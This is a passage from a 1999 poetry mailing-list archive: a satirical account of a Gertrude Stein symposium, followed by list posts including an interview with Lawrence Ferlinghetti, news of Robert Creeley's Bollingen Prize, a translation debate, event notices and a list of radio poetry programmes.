After this we all walked over to another building for the readings by Gass, Hejinian, Mullen, Retallack, and Roubaud, which were scheduled for the day before but I guess had to be postponed because Kenneth Koch wouldn't put a lid on it. More wine was available as people schmoozed and munched and walked in circles like buzzards waiting to pounce on the dying bodies of important conversations. I myself stayed near the wine which was going fast and made sure no fights broke out because of the wine or a lack thereof. By the time the reading started the room, which began to revolve around me in an increasingly more wobbly orbit, had been transformed into the "poly-directional surface continuum" Retallack spoke of before. I had finally made it, across the desert of narrative, to Steinland. William Gass floated up to the podium and I saw how fitting the name was. Sounds escaped from his quotidian lips like porcelain bats out of cave. Crash. I ducked as he read something about a dog his dad would not let him have as a kid. Lyn Hejinian aroused from my stomach undigested food matter as any snakecharmer would a snake by reading a poem called "Happily." Harryette Mullen made sure the aroused matter did not find its way into the lap of the person sitting next to me by reading something good

which was published in Callallo. Then Joan Retallack and Lyn Hejinian merged into some scary siamese langpo creature made of undifferentiated linguistic tissue called Joan Retallack from which came more theory with line breaks. Jacques Roubaud said some stuff in French which was translated to me by a little green gnome with a French-English dictionary. Did you know that "vache" means an orgasm that lives in France?

Then it was over, Day 2 of Steinland. I made a dash for the exit as Marjorie Perloff cornered two of my friends and asked them if they were in the Wash U. Writing Program, which in these parts is like being asked the dreadful questions "are you still a virgin?" "are you experienced?" "have you done anal?" Later that night at a local anti-Steinland open mic I got to hear a Frenchman with a gigantic gray hair piece read a poem he wrote for a woman whom he gave his card to and told to call him in two months. She did not ("it was her loss" he said) and so he wrote a poem which contained these lines: "I send you a note and you do not reply. I send another just to ask why." Ah the French, so goddamn lovable.

Sunday, Feb.7: Like Day 2, Day 3 began at 10 o'clock. I got to the courtroom late for the first panel "Writing [arrow symbol] Performance" in which the Gertrude and Alice and the director of the play spoke about their experience of trying to stage Stein, trying to present a continuous present. I bit my tongue because I could have slept in more. Referring to Stein, Gertrude said "we all love her" which seemed to be the mantra of the entire symposium. At one point Gertrude blurted out about herself: "I'm a cheap theatrical whore!" Then the director said she wanted to dance when younger but realized she couldn't, from being kind of hefty I guess. * Then there was the final panel called "Writing [arrow symbol] Reading" with Perloff, Stimpson, and Roubaud. Perloff batted lead-off and rattled off a series of line drives to everyone's Sunday morning hungover cerebrums. Man can she talk. Her paper was probably the best of the conference and the least obnoxious. She began with a critique of Stein as the exemplary postmodernist and argued for reading her as a modernist again. Examples of Stein's modernism can be found in her 1935 essay "What Are Masterpieces and Why Are There So Few of Them." In other words, Stein believed in masterpieces (and genius and its authority) whereas a hallmark of postmodernism is the belief in the end or the impossibility of masterpieces (which is a side effect of the postmodern "death of the author"). She cited Lew Welch's undergraduate thesis in which he described Stein's thinking via a distinction between talking and writing. Talking identifies, recognizes, has to do with memory. Writing creates, has to do with forgetting. Stein, here, can be seen as against personality/memory and for the kind of modernist value of an escape from personality as espoused by Eliot in his "Tradition and the Individual Talent." Stein also believed in the separation of 'art and life' whereas

a postmodernist like O'Hara preached in his "Personism: A Manifesto" a form of poetry which would dissolve that separation by making the poem lie between two people "lucky pierre style" instead of between two pages. Postmodernism is further characterized by the dissolution of the difference between high art and popular culture, a difference Stein sought to maintain with her aesthetic of the timeless masterpiece, of the artwork as an end in itself, as without "relation" which is "the business of living." "Identity is a great bother," Stein said, exhibiting a rather modern disinterestedness shared by a poet like Mallarme. Then Marjorie said something about the modern being textual while the postmodern is intertextual, that these were the main historical differences between the two along aesthetic lines. All in all she proved her argument with a much-needed swiftness and clarity. * Jacques Roubaud spoke of his introduction to Stein after he told a friend he had grown allergic to Joyce. He quoted some axioms from Stein's HOW TO WRITE: "nouns do not count." "Nouns stop the sentence. That is their crime" "Verbs make mistakes which are wonderful." "Stitches in time save the sentence." "Sentences should never think." "A sentence is an allowance of confusion" "A sentence is not emotional. A paragraph is." He said Stein's poetry moves by "betraying" which I didn't understand. He said poetry is now, "what will have been." (Why? Because now that the present is missing poetry is a now or now must be a now in order to compensate?) * Then Catherine Stimpson spoke of the question of mutability and immutability in Stein, the role of reputation and celebrity in/on her work. She said Stein liked the power of being a star and would have willingly appeared in People magazine if she were alive now. Stimpson said she herself was a lifetime subscriber of People (I forgot to ask if it made her happy). Then she said she was shedding Steinian tears because if you "ask any Harvard grad what they want to do they say create the great American website." I have no idea what this meant. Anyway, she cited William James's "radical empiricism" and his belief that "an intellectual must never exclude" (thereby justifiying her subscription to People). She spoke of Stein's need for the unchanging, the immutable which she found in the natural household of the human mind since the mind "exists not in time" but in a continuous present whereas human nature is a site of change, of memory. This to me sounds wrong (the mind as not memory?) but I won't go into it. Then she brought up the question of the commodification of Stein in talking about some Stein mug that a student gave her. The question-answer session revolved mostly around this question. I raised my hand to ask a question (the one "is Stein still contemporary?") but was not seen perhaps because I was not down in the front. I walked over to the guy who was in charge of the mike and told him I wanted to ask a question. He said okay, but only after Bill Dydo asks his. I said okay and walked back to my seat. Then Bill Dydo gave a long speech about the evils of TV and the unending continuous present of images (i.e. the commonplace fantasies) that barrage us

DAILY, and then when he was done after about 20 minutes the mike man gave the mike to some woman also in the front. After she finished with her question the woman next to her grabbed it and spouted a long statement-question-compliment-pro-Stein salute. I walked down to the front, in my Bavarian Inn restaurant issue busboy uniform with my nametag on which looked very unintellectual and uncollegiate and sat right down next to the mike man. He whispered in my ear that he had to give the mike back to the conference host man from the Wash U. English Dept. but that I could use the mike in the mikestand which was standing unused in the aisle. I nodded politely. Then Mr. English Dept. Man grabbed the mike from the mike busser and said we had to stop and concluded with a string of his own comments and opinions and uber-Stein heils and then asked if anyone else would like to conclude. Finding myself outside this continuous present, this symposium complete unto itself with no gap in its conclusions, I walked away to busboydom and to the quotidian and the contemporary where I was told by these strange people and by my boss I should eternally be.

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150. Steven Shoemaker

Re: [Fwd: literary criticism]

Fri 12 Feb 1999

Juliana--For crit. that handles large historical arguments well, I'd suggest Jerome McGann. His dialogues are also of particular interest from a writing standpoint. Marjorie Levinson is another good critic of the Romantic period, though pretty knotty. For anthropologists who write like literary critics you might try Clifford Geertz (e.g. Notes on the Balinese Cockfight) or James Clifford (perhaps something from The Predicament of Culture). For excellent use of "fractured argument" I'm sure you probably alread know Susan Howe's Dickinson essay "These Flames & Generosities of the Heart: The Illogic of Sumptuary Values" (quoting the title from memory). That essay wld probably be easier to use in your course than My Emily Dickinson, also excellent. best, steve

On Thu, 11 Feb 1999, juliana spahr wrote:

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151. Bob Grumman
The Latest fromComprepoetica
Fri 12 Feb 1999

I've been falling all over myself trying to upgrade my poetics/poetry/ poets site, Comprepoetica, during the past month or so. I now have

(1) a section of weekly poetry commentaries by me with 3 entries so far

(2) a section of irregularly-appearing poetry commentaries by other authors with one entry, by Jack Foley (on E. E. Cummings), but another to be added today (I hope) by Ralph LaCharity, and three more in the wings by Jack (on Ivan Arguelles, Jake Berry and Yeats)

(3) an index to the poets and publications covered in my commentaries

(4) a section (to start today, I hope) devoted to Poets' Statements with one entry, quite otherwordly but fascinating, by Karl Kempton

Thanks to those who have posted encouraging e.mails to me that I haven't answered yet, being totally out of it, but I will!

Visits are up but I hope for a lot more. More important, I hope for more reviews! Only one big rule: QUOTE FROM THE POETRY UNDER REVIEW! I had to reject several of my own micro-reviews (originally for Taproot Reviews) for not doing that. The wonderful thing about web-sites is that's there's almost always room to quote entire poems. Otherwise, just try to be clear. Don't worry about subject-matter: I intend to cover ALL schools of poetry.

Happy Valentine's Day!

--Bob Grumman

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

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152. Charles Bernstein
Bollingen Prize in Poetry
Fri 12 Feb 1999

Hear ye, here ye, all of the Poetics List:

I am happy to announce that Robert Creeley has been awarded the 1999 Bollingen Prize in Poetry (which is given every other year). Congratulations, Bob!

Charles Bernstein

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153. Anastasios Kozaitis
Whitehead interviews Ferlinghetti
Fri 12 Feb 1999

Ron sent me this today from Iceland. I thought I'd pass it on.
==========

The New King of Poetry
LAWRENCE FERLINGHETTI
Turns 80

> *From Reykjavik to San Francisco and Beyond*

by Ron Whitehead

(photo)

In 1953 Lawrence Ferlinghetti founded the first paperback bookstore in the United States. In four and a half decades City Lights, the bookstore and publisher, has become mecca for millions, for the world's alternative voices. Ferlinghetti's A CONEY ISLAND OF THE MIND (1958) is the number one best selling volume of poetry by any living Amerikan poet. On March 24, 1999 the reluctant New King Of Poetry turns 80. Poet Writer Editor Publisher Scholar Organizer Ron Whitehead is writing a new biography of Ferlinghetti. Ron's recent conversation with the private Ferlinghetti took place from Reykjavik to San Francisco.

Ron Whitehead: Lawrence I asked you in a letter if you are interested in either A CONEY ISLAND OF THE MIND or A FAR ROCKAWAY OF THE HEART being translated into Old Norse, into Icelandic, and being published here in Iceland in a cooperative project by Bad Taste/Smekkleysa, the main record label, and Bjartur, the main independent publisher.

Lawrence Ferlinghetti: Of course.

RW: Okay. I'll continue to pursue that. I've already spoken with folks here and they are interested. I'll tell them you said "okay" and I'll open the doors for them to write you and communicate directly with you about it. I'm doing the same for Lee Ranaldo and his new book THE MOROCCAN JOURNALS.

LF: Okay.

RW: I love A FAR ROCKAWAY OF THE HEART and consider it to be not only one of your best works but a masterpiece of 20th Century poetry.

LF: Well obviously you're a genius critic.

RW: (laughter from both) I am. I am (more laughter).
What are you doing now? I know you're continuing to write and paint.

LF: I'm not doing anything at the moment except lying on the bed.

RW: Okay (more laughter), do you have any new book releases planned?

LF: Well no. A FAR ROCKAWAY has just been out a year. But I now have enough poems for two books. But New Directions is saying they can't publish that fast. They want maybe one next year. One is a book called THE DIVINE BUTCHER, poems that were spoiled by humor. In other words, humor destroys sublimity in poetry. I'm getting the title from Gregory Corso who said "humor is the divine butcher." He said you can't have a sublime poem if you use a lot of humor.

RW: I don't know if i agree with that.

LF: Well I have some pretty ludicrous poems. I have a serious poem and then I put in this ludicrous image which completely destroys it but it's fun. For the other book I have between thirty and forty poems of non-humorous poems. Well with the usual humor but nothing too devastating.

RW: I've been listening to Allen Ginsberg's HOLY SOUL JELLY ROLL: POEMS AND SONGS 1949-1993. Have you been talking with anyone about a possible CD release?

LF: This Saturday I'm going to be recording for Ryko in Francis Ford Coppola's American Zoetrope Studios which is just a block from the City Lights Bookstore.

RW: Fantastic. Just down the hill.

LF: Yes. The producer is Jim Sampas, Jim Sampas of the Sampas family and the Kerouac Estate.

RW: Yes I've met Jim.

LF: Jim is in his mid 20s I guess. He's a musician. He's coming out Saturday. We're going to record all of A CONEY ISLAND OF THE MIND.

RW: Wonderful! That's good news!

LF: He's got musicians back east he'll have on separate tracks. He's gonna blend their music with my voice tracks.

RW: I guess David Amram's going to be on some of the tracks?

LF: No Jim and Ryko have their own musicians or group that they insisted on. I hope to do something with David Amram sooner or later.

RW: I hope so too. I'm reading an amazing 83-page text David wrote and sent to Sterling Lord and me titled "This Song's For You Jack: Collaborating With

Kerouac." I've had the opportunity to read with David several times and he's a wonderful person and an incredible musician.

LF: Yes he is.

RW: You mentioned to me previously that you're working on an autobiography. How's that coming along?

LF: I've given that up for the time being. I've found that it only comes out like Samuel Beckett.

RW: (laughter) So it'll be a short autobiography.

LF: Well, rather.

RW: Part of the problem is that you've done so much.

LF: Baffling and ambiguous is the way I see it.

RW: It would have to be thousands of pages long. We've discussed the possibility of me writing a new Lawrence Ferlinghetti biography.

(photo)

LF: Yeah I know. I wish you'd do it.

RW: Good. I was hoping you'd say that.

LF: But you're on the wrong end of the world there in Iceland.

RW: But I'll be in San Francisco soon. And North Carolina and New York City and France and Italy. I'm getting back on track on the biography. I'll do it. I've already started.

LF: You better hurry up. I'm 80 years old (laughter from both).

RW: I know. But you're as healthy as ever.

LF: Well I work out all the time.

RW: Yeah anybody who sees your photos can tell that. Do you swim every day?

LF: I'm going to the gym in just a few minutes.

RW: In '99 and 2000 I'll be working with folks in The Netherlands, Ireland, and Iceland to produce events. What are your travel plans? I want to invite you to those events.

LF: Since I got appointed Poet Laureate of San Francisco I'm getting invited to too many places.

RW: Congratulations!

LF: I'm receiving invitations in all directions. At the moment I can go to Brazil, Argentina, Columbia, Cuba, France, Italy, Czech Republic. I can't go in all these

directions at once. I went to Prague and they want me to come back and have a big art exhibition this spring but I can't. There's so much happening now I have to be here. I'm writing a regular column for THE SAN FRANCISCO CHRONICLE called "Poetry as News." So I have to be here. I may go to Italy in June and if I do I may go to Prague too but I don't think so. Not this year.

RW: I know you went to Prague last year for the Art Forum Exhibition. They celebrated you your life your work.

LF: They built a complete replica of the outside of City Lights Bookstore at their Festival. It was extraordinary. And there was a 72-hour non-stop INSOMNIACATHON reading of my poetry by every poet in town. It was held in a big church in the old town. They had an exhibition of your work and The Literary Renaissance right next to the City Lights Exhibit. Have you been to Prague?

RW: They invited me to the same event but I couldn't make it due to a prior commitment.

LF: You should go! It's fantastic!

RW: Yes. They kept all my work for their archives. I received a long letter afterwards from Karel.

LF: Yes Karel Srp. He's a great guy.

RW: He told me about how the public responded to you. He said it was like a rock concert. When they opened the doors to the Exhibition thousands of people came running straight to your table. He said you signed books all day and way into the night.

(photo)

LF: I wrote a poem called "Rivers of Light" in the middle of the night and by God it was published the next day on the front page of the main daily paper. And it was published translated into the Czech language. That would never happen in the United States.

RW: That's amazing.

LF: It's a long poem. About two pages. So it was fantastic. The town is the most interesting city I've been in for many years. It's medieval yet it's like Paris yet it's like Florence. The castle, Kafka's castle, was the center of the Austro-Hungarian Empire and you really feel it when you go there. That's where President Havel's offices are.

RW: I understand that President Havel was recovering from surgery when you were there but he called and had his limo pick you up and take you to the castle and had his military guard give a multi-gun salute to the poet Lawrence

Ferlinghetti. Shifting gears a little let's head south and talk about City Lights Italia. I know it took you years, after many requests, to give the okay for a City Lights to be opened in Europe. You finally gave Marco Cassini approval to open City Lights Italia in Florence, Italy.

LF: The first person who had the idea was Antonio Bertoli, the Director of the avante-garde theatre in Florence, Theatre Studio Scandicci. He and Marco Cassini started City Lights Italia together. There's no financial connection. They came to San Francisco. I had stayed with Antonio in Florence when I performed in his theatre. I ended up staying with him in his farmhouse in the hills above Florence and we got to be really good friends. And Marco was a small publisher in Rome.

RW: Minimum Fax Press.

LF: Yes. Now he's becoming a big publisher and he split up with Antonio. They don't see eye to eye. Like the difference between Florence and Rome. Like the difference between San Francisco and Los Angeles. Marco is very ambitious. He wants to be a big publisher. He's much more commercially minded. Antonio is a theatre director and is not at all interested in commercial ambition. In fact at the City Lights Italia Bookstore in Florence they publish books, separate from Marco, under the imprint of City Lights Italia and no matter what the size of the book they charge the same amount for it. A big thick book, say 200 pages, they charge 1,500 lira. That's a little less than a dollar. If the book is 48 pages they still charge 1,500 lira. So obviously they're going broke. They publish a lot of avant-garde Italian authors and they also publish many City Lights San Francisco authors in translation. City Lights Italia is a great cultural center. There's nothing like it in Florence or in Italy. Most of it is still back in The Renaissance. At the moment it's more of a cultural center than a bookstore cause they don't have the money to get enough books. But it is also a bookstore. It's a great meeting place. They have many wonderful events there. They've been going two and a half years now. Any time you want to read there let me know.

RW: That sounds good. I may go there in the fall.

LF: Well this year they're having a festival in I think early July. Do you have their address?

RW: So I should put letter to the attention of Antonio?

LF: Antonio Bertoli, City Lights Italia, Via San Niccolo, Florence. It's right in the center of town.

RW: What are the plans for City Lights San Francisco? I know you still take an active editorial role. I remember visiting when you were editing the new City

Lights Anthology. You spend at least a couple hours each day there. Is Nancy Peters

LF: She's the Managing Director.

RW: She's running the show?

LF: Yes. We're becoming a Foundation. We're going to be The City Lights Non-Profit Foundation. We're trying to buy the building by establishing the foundation and thereby enabling donors to buy the building for us. We've been tenants all these years.

RW: It's a historic site for people round the world.

LF: It's an old building and the owners are very old and they're ready to sell it so we're starting this foundation right now. It's happening this week.

RW: You expressed concern, and I mention this in my poem "San Francisco May 1993," about the influx of Chinese money from Hong Kong buying out the Italians in North Beach.

LF: No I wasn't expressing concern. It was just a statement of fact.

RW: Considering that San Francisco has grown so much do you still like living there? Have you thought about moving?

LF: No the population hasn't grown. There's no room for expansion. The population in the city is still only about 750,000 but it's the outskirts, the suburbs and the outlying territory, that make it up to 3 million and that's what has grown. But the Asian population is 40% of San Francisco now. And another 30% is Hispanic. So the whites are a minority.

RW: That's interesting.

LF: Yes it's a Third World City. And our part of town, North Beach, which used to be solid Italian, is now two thirds Asian all the way to The Bay. But no I'm not going to move.

RW: You had been talking about buying a house. Are you still considering that?

LF: Yes but I can't possibly afford one here.

RW: I've read that San Francisco is the most expensive city in The States.

LF: Yes it is. You can't get a two bedroom house for under five or six hundred thousand.

RW: Wow! I'll just continue visiting San Francisco. Let's see I made $2,400 last year. Yes it's definitely out of my price range.

LF: Yes it's impossible.

RW: I've had the opportunity, which I enjoyed thoroughly, of meeting your son Lorenzo but I haven't met your daughter Julie.

LF: She's in Nashville, Tennessee now.

RW: That's what i remember you saying. Do your children have children?

LF: Julie has a three year old boy, Jonathan. And Lorenzo's wife had a boy a year ago. His name is Leonardo, Leonardo Ferlinghetti. He's a year old.

RW: Do you get to visit your kids and your grandkids often?

LF: Yes. They were here for Christmas. And I go out to Bolinas, where Lorenzo lives, all the time. It's just an hour from here.

RW: John Tytell and I worked for over a year to get you nominated for the Nobel. It's my understanding that once you're nominated you stay in the pool of candidates indefinitely.

LF: Well they must have thousands of names.

RW: I don't know about that. You and Allen Ginsberg worked together for decades. In the eyes of thousands, perhaps millions, you and Allen were are The Kings of Poetry. I heard you say that Allen deserved to receive the Nobel and to be Poet Laureate of the USA.

LF: It's shocking that Allen never got recognized, that he never received a Pulitzer Prize in this country, and that he was never invited to be the Poet of The Library of Congress which is now called Poet Laureate. I think they were afraid of him. It's shocking that the poet who changed the poetic consciousness of several generations of writers, not just in the United States but round the globe, was never officially recognized for his life and his work. Go to Prague, Czech Republic and Italy and Germany and numerous other countries and cities all over the world and see what a huge difference he made.

RW: In the consciousness of the people.

LF: Especially among the poets.

RW: Well do you have anything to say about being nominated for the Nobel or is that something you'd rather not talk about?

LF: I was flabbergasted when John Tytell wrote me that you guys were nominating me. I figure that's pie in the sky.

RW: You never know. My feeling is that if anyone in the world deserves the Nobel for lifetime achievements for their poetry and for the work they've done for poetry round the world that person is you.

LF: I agree with you.

RW: Good. Good.

LF: 100%!

RW: (much laughter from both) I'm glad to hear that (laughter continues)! Chris Felver's new book of photographs of you is beautiful. I've already shown it to many people.

LF: Do you have a copy in Iceland?

RW: Not right in front of me. I loaned it to the Reykjavik Arts Council. I get it back Monday before my lecture on "The Beat Generation & The Process of Writing" at the University of Iceland. Chris is sending me a copy of his documentary film, THE CONEY ISLAND OF LAWRENCE FERLINGHETTI, which Iceland's National Television is going to play. How do you feel about Chris' new book, a book full of remarkable photographs of you?

LF: Well I wrote an introduction to the book. Chris and I have been working together for thirty years. He believes in cinema verite. There are pictures in the book I'm not crazy about but he won't take them out (laughter from both). Same with his film, the documentary on me. It's cinema verite. There are no comments or voice over by himself. Just what the camera eye sees. And then I'm speaking too.

RW: The documentary is beautiful. The book and the documentary show sides of you that the public has never seen. A private, vulnerable, fun loving zen surrealist anarchist poet, a real human being. They are both so honest. Both engage the heart in an emotional way. I really like working with Chris. I respect and admire his work.

LF: Did you get a copy of my Poet Laureate speech?

RW: No I didn't.

LF: It's in the last issue of POETRY FLASH. It's also on the City Lights website at <http://www.citylights.com/>www.citylights.com.

RW: I'll check that out. You've become computerized.

LF: Also the articles I'm writing for the SAN FRANCISCO CHRONICLE will be on our website. I've written two columns so far under the title "Poetry as News." The first column was on Sappho. The second one was on Kapafy. The third column, which I just wrote, is on Bertolt Brecht.

RW: Of those gone from your life who do you miss most?

LF: Everybody seems to be gone or going. People are croaking right and left. It's terrible! At my age ther ain't so many left, including a lot of old girlfriends (laughter from both). They're getting picked off either by some other guy or by Mr. Death himself, the Dead Man in The Sky, The Guy With The Big Sickle. Watch out for Him. One member of The Beats is still left, and he's greater than

any of them, and that's Gregory Corso. He's really The Avatar of Pure Poetry, of Pure American Lingo. Ain't nothing like Gregory. He's never derivative of anybody. Gregory is The Greatest! I became associated with The Beats by publishing them. I was not a member of the original group. I'm seven years older than Allen. The other person who is much ignored and underappreciated is Ed Sanders. Ed Sanders is a great poet. He's also a brilliant journalist. He's publishing the WOODSTOCK JOURNAL out of Woodstock, New York. It's a wonderul small town newspaper. Ed Sanders is very educated. He's a great wit. He's like Mark Twain. He even looks like Mark Twain. He wears white suits and he's got the Mark Twain moustache. He's really great yet greatly underestimated and ignored. Those two guys are really all that's left of The Beat Generation. Anne Waldman, who founded The Naropa Institute with Allen, is going strong but she's the younger generation really. And you're a little younger still but you're working to carry the flame forward.

RW: I consider you to be a mentor. How do you feel about the role of mentorship in human relations?

LF: (laughter) Don't follow my advice. I got divorced when I was 40 or so and I'm sorry to hear you're doing the same. Dont' follow my example.

RW: A couple more questions. How many hours do you usually sleep?

LF: Oh I've been sleeping a lot lately. I sleep eight hours.

RW: Lawrence I hope this is the beginning of many more interviews as I turn my attention to your biography.

LF: Yes I wish you'd get to it.

RW: I will. I'll stay in touch and will let you know about the translation of your work into Icelandic. I'm sure there will be celebrations in San Francisco for your 80th Birthday.

LF: I'm going to ignore it.

RW: Ignore the big number 80?

LF: Yes ignore the big number 80. Maybe my family will have a little something.

RW: Well Happy 80th Birthday Lawrence!

LF: Thanks! Good Luck!

Ron Whitehead has studied, published, read with, worked with, and written about Lawrence Ferlinghetti for several years. Ron's new CD, FROM LOUISVILLE TO REYKJAVIK & BEYOND, with his new group Voices Without Restraint, will be released by Iceland's Bad Taste Label in June. His next book, GIMME BACK MY WIG: THE HOUND DOG TAYLOR BLUES, will be released

from Ireland's ITaLiCs Press in July. He will be touring the USA and Europe with Voices Without Restraint in '99 and 2000. When not traveling he lives in Kentucky and Iceland.

February, 1999
Reykjavik, Iceland
Louisville, Kentucky
San Francisco, California

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154. **Jamie Ferguson**
Joris and Venuti
Fri 12 Feb 1999

I want to applaud the concreteness and clarity of Pierre Joris' recent post and lament the inexactitude of my own initial statement. I did not mean to say that Mr. Joris had been influenced by Venuti's thesis - which, as he points out, is blatantly anachronistic, only that as a result of Venuti's book, Mr. Joris could state that good translation consists in "making the fact of the translation visible" without feeling that the assertion needed to be explained and/or justified. He could, that is, count on a readership that was familiar with, and sympathetic to, this criterium. And what other source might be posited for this criterium than Venuti? Surely not the example of Holderlin, whose currency in the Anglo-American critical community is, I suspect, rather minimal. (Incidentally, those who, like me, are interested in what Holderlin has done but don't know German, can find a quite detailed account in AFTER BABEL.)

Whatever the relation between Joris and Venuti, I would confirm the usefulness of adding this criterium to the critical vocabulary on translation, but don't feel that Venuti's book provides a solid enough foundation for the new erection. If, as I suspect, this idea has only very recently taken on currency in the Anglo-American discouse on translation, it might be worth trying to look ahead at how its origins might affect its later development. A pro-active geneology might be all the more necessary for the fact that Venuti is no doubt right to say that the opposing criterium is "in the air": there will certainly be attacks (whether reactionary or not) against this point of departure, and any serious critic would begin by going back to the initiation of his or her target. Here I will refer back to my last post (of 8 Feb.) for why I find Venuti inadequate.

As for Mr. Joris' scathing - and quite personal - description of Steiner: Steiner may be all of the things he is accused of, but parts of AFTER BABEL are fundamental to thinking about translation in English, and there are many, many points made there that are not made anywhere else that I know of. I don't think it makes sense to speak about the person or about his general ideas before we

have weighed specific examples of his thinking - his thinking on translation, that is: I am not interested in Steiner; I am interested in what he has written about translation.

Jamie Ferguson
Paris

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155. Poetry Project
this week at the Project
Fri 12 Feb 1999

This week at the Poetry Project:

Monday, Feb.15

Dawn Michelle Baude & Sam Truitt

at 8 pm

Wednesday, Feb. 17

Camille Roy & Kit Robinson

at 8 pm

Friday, Feb. 19

Shamanic Chants/Epic Songs

at 10:30 pm

Traditional Buryat songs, chants, and original poetry by Sayan and Erzhena Zhambolov premiere artists from the Buryat National Theatre in SIberia; Ukranian dumas by singer and bandurist Julian Kytasty; American folksongs by Stephan Smith and more.

Admission is $7, $4, free for members

Call [redacted] for more information

all best wishes!

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156. sylvester pollet
Re: re translation
Fri 12 Feb 1999

At 11:40 PM -0800 2/11/99, david bromige wrote:
> Re Pete Neufeld's note concerning dix nuits/nine nights, I recall
>that in Sweden, trettondagsafton (thirteenth day's eve) occurs when twelfth
>night would be the equivalent festival in england, and this makes me wonder
>whether the Beckett tr. of Rimbaud is more a matter of such appelation
>rather than any one-for-one violation. Any one know? David

And don't think you're going to have any company dancing in the Paris streets on Bastille Day July 14. The dancing is the eve, July 13. I didn't see the problem with the translation as given--he was clearly imitating the sound, the rhyme of "dix nuits" morphing into the rhyme of "nine nights." Betcha. And while I'm here, if I am, Hooray for Creeley! Sylvester

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157. Poetics List
Fwd: Taliban's war on women / hoax
Fri 12 Feb 1999

I had to reformat this one a bit. Chris

---------- Original message (ID=087893E6) (128 lines)

From: [redacted]
Date: Wed, 10 Feb 1999 11:02:42 EST
To: [redacted]
Cc: [redacted]:
Subject: Fwd: PS: [Fwd: Taliban's war on women / hoax]

please read...

joe brennan

Date: Tue, 9 Feb 1999 16:31:04 -0500
Sender: Institute for Psychological Study of the Arts <[redacted]>
From: Norman Holland <[redacted]>
Organization: English/University of Florida
Subject: Taliban's war on women / hoax
To: [redacted]

4:56 Hoax warning

You recently received a message containing a petition for better treatment of women in Afghanistan. Unfortunately, the person who started this petition wasn't prepared for the consequences. Due to the enormous number of messages she was receiving, her email account has been blocked. The signatures gathered by this chain-letter will never be collected by anyone.

If you want to help the women of Afghanistan, please visit the following web page: http://www.feminist.org/action/action50.html

The next time you receive a chain letter or virus warning, please check the validity of it's contents before sending it to anyone else. The HoaxKill website (http://www.hoaxkill.com/) contains some information to help you do this. Another good source of information is the Computer Virus Myths page by Rob Rosenberger (http://www.kumite.com/myths/).

If, after visiting these websites, you're still not sure, you can send it to [redacted]. We will then try to verify it for you.

Kind regards,

Jeroen Sikking,
Oxcart Software.

PS: Please note that we keep a record of the people we've informed about hoax so you will only receive one message from us.

--part0_918662562_boundary--

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158. Poetics List
Re: reply to sender
Fri 12 Feb 1999

Had to reformat this one a bit, too. Chris

---------- Original message (ID=34277E99) (50 lines)

To: UB Poetics discussion group <[redacted]>
From: Mark Weiss <[redacted]>
Subject: Re: reply to sender

Could it be said that the entire impeachment-trial performance has been an example of the oral tradition?

At 03:17 PM 2/9/99 -0800, you wrote:
>FREE THE "PITIFUL THREE"
>

>(a night in which all helicopters are black)
>

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159. Poetics List
unfortunately a delay
Fri 12 Feb 1999

All - just received this brief-and-to-the-point message from the technical staff here at UB:

Friday February 12: The Central Email System will be unavailable from midnight tonight until 8:00am Tuesday, February 16.

This covers the whole of the <@acsu.buffalo.edu> domain, which, yes, unfortunately means the Poetics List. While it's likely subscribers can still send messages to the list, I can't guarantee those messages won't be lost. This shutdown evidently marks our transition to the new mailhub, which will involve restoring our Inboxes to their 5 February status.

In other words, it were best to refrain from posting until Tuesday - especially as no messages will go out to subscribers before I can access this account and clean up the mess that will no doubt be left by the repairs. (Not only will the poetics account contain all of the messages from last Saturday, but

there will be waiting a copy of every message received since then - i.e. all of the posts and backchannels from this entire week!).

I appreciate everybody's patience with this interruption - it should mean (knock, knock) the list will no longer futz out as it has been doing.

Chris

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160. Poetics List
Robert Creeley
Fri 12 Feb 1999

I'll second Sylvester's good cheer. For those of you who haven't heard, Creeley has just been awarded (as of tuesday) the Bollingen Prize in Poetry for 1999 - recognition that's long overdue, imho. The Bollingen is awarded either for a specific book or for "lifetime acheivement in poetry" - both being the case here. Specifically, award was for Life and Death (New Directions) and So There (New Directions); the committee - including Gary Snyder and Carolyn Kizer - said in a joint statement:

As editor, publisher, traveler, teacher, writer, as mind-worker, Robert Creeley has been a seminal figure of the second half of the Twentieth Century. His broad cultural contribution is balanced by an original prosody and stubbornly plain language that makes a Creeley poem instantly recognizable. It manifests a clarity enrighced by indirection, syntactic complications of movement and multiple layers of meaning. 'Stumbling,' as he describes himself, Creeley has remained on the path of epistemological inquiry and poetic experiment

Most of this is quoted from a lovely article in wednesday's Buffalo News:

"I feel extra pleased and honored in that I feel the award is
not only to me personally but to the character and the company
of the poetry I am most committed to," Creeley said of the work of
such fellow poets as Robert Duncan, Charles Olson, Denise
Levertov and Allen Ginsberg.
"I always thought of poetry as a team sport."

Chris

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161. Herb Levy
poetry/radio
Sat 13 Feb 1999

Hi folks,

Tax season began earlier than usual for me, so I'm just getting around to looking at the responses to my query about contemporary poetry on the radio.Thanks for the various suggestions; I'll get back to individuals in a day or two.

Here's a digest of the various programs you all sent to me. In some cases I spiffed the list up a bit using a very handy Web site <http://wmbr.mit.edu/stations/list.html> that lists online sites for thousands of radio stations from all over the world, to get more information than I received from list members.

WKCR 89.9 fm New York - Composed on the Tongue hosted by Jay Barman, Sundays 8:00

WGLT 89 fm Normal, Illinois - Poetry radio short features, Tuesday, Thursday, & Sunday, 10:00 am & pm

KPFA 94.1 fm Berkeley 3:00 pm weedays has shows that focus on literature, Jack Foley's Wednesday slot was particularly recommended

CIUT - 89.5 fm Toronto Howl on Sundays at noon with Steven Humphrey, Nik Beat, & Treela Smith

CBC syndicated program, Writers & Company Sundays 3:08 pm

CJRT fm 91.1 On the Arts

CFRO 102.7 fm Vancouver Gerry Gilbert's radiofreerainforest, Sunday 9:00 pm

WFMU early saturday call in poetry show

KXLU 88.9 fm Los Angeles Echo in the Sense hosted by Christine Palma Saturdays 8 pm

KBOO Portland OR The Talking Earth hosted by Walt Curtis/Barbara Morticella Mondays at 10 pm

Someone wrote about as how from Kelly Writer's House on WXPN, but I couldn't find it listed in their program guide.

Jordan Davis wrote about another NYC program called Anything Goes in the Morning hosted by Irwin Gonshak, but I haven't yet tracked down the station/time.

I can't believe that this is all of the poetry shows in North America, if people know of any more please let me know.

